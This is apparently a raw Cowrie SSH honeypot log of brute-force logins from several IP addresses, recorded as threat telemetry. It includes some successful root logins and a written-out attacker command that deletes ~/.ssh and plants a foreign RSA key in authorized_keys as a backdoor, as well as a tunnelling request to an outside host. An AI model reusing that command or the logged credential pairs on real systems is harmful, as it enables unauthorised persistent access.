openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:09.389221Z","src_ip":"194.164.62.66","session":"858e01bf7f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:09.676893Z","src_ip":"194.164.62.66","session":"858e01bf7f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:10.843612Z","src_ip":"194.164.62.66","session":"858e01bf7f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44430,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d21fc8ab05c","protocol":"ssh","message":"New connection: 2.57.122.210:44430 (10.17.0.5:22) [session: 4d21fc8ab05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:49.953537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:49.961254Z","src_ip":"2.57.122.210","session":"4d21fc8ab05c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:50.068189Z","src_ip":"2.57.122.210","session":"4d21fc8ab05c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:50.382027Z","src_ip":"2.57.122.210","session":"4d21fc8ab05c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:51.488447Z","src_ip":"2.57.122.210","session":"4d21fc8ab05c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":35595,"dst_ip":"159.203.135.109","dst_port":22,"session":"848a8dcfd6a6","protocol":"ssh","message":"New connection: 186.122.177.140:35595 (159.203.135.109:22) [session: 848a8dcfd6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:01.624619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:01.629424Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:01.870208Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"gettherefast","message":"login attempt [root/gettherefast] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:02.776986Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:03.309133Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:03.315795Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:03.320637Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:03.570538Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:04.007575Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:04.011230Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:04.201274Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:04.205340Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":20200,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e43763095d6","protocol":"ssh","message":"New connection: 186.122.177.140:20200 (159.203.135.109:22) [session: 8e43763095d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:04.378074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:04.382705Z","src_ip":"186.122.177.140","session":"8e43763095d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:04.563193Z","src_ip":"186.122.177.140","session":"8e43763095d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:05.421049Z","src_ip":"186.122.177.140","session":"8e43763095d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:06.604878Z","src_ip":"186.122.177.140","session":"8e43763095d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":38028,"dst_ip":"159.203.135.109","dst_port":22,"session":"10b712ca0ce5","protocol":"ssh","message":"New connection: 186.122.177.140:38028 (159.203.135.109:22) [session: 10b712ca0ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:06.798232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:06.806837Z","src_ip":"186.122.177.140","session":"10b712ca0ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:06.991632Z","src_ip":"186.122.177.140","session":"10b712ca0ce5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:07.853206Z","src_ip":"186.122.177.140","session":"10b712ca0ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:08.115417Z","src_ip":"186.122.177.140","session":"848a8dcfd6a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:08.127252Z","src_ip":"186.122.177.140","session":"10b712ca0ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52902,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a3015a80cb7","protocol":"ssh","message":"New connection: 195.178.110.218:52902 (159.203.135.109:22) [session: 6a3015a80cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:30.819969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:30.825484Z","src_ip":"195.178.110.218","session":"6a3015a80cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:30.906703Z","src_ip":"195.178.110.218","session":"6a3015a80cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:31.148834Z","src_ip":"195.178.110.218","session":"6a3015a80cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:32.231853Z","src_ip":"195.178.110.218","session":"6a3015a80cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":34562,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d61f8a5fa39","protocol":"ssh","message":"New connection: 185.156.73.233:34562 (10.17.0.5:22) [session: 7d61f8a5fa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:35.088065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:35.095103Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:35.172405Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:35.550779Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.143.91","dst_port":443,"src_ip":"185.156.73.233","src_port":47342,"message":"direct-tcp connection request to 34.251.143.91:443 from 127.0.0.1:47342","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:43.461579Z","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.143.91","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.143.91:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:43.687026Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
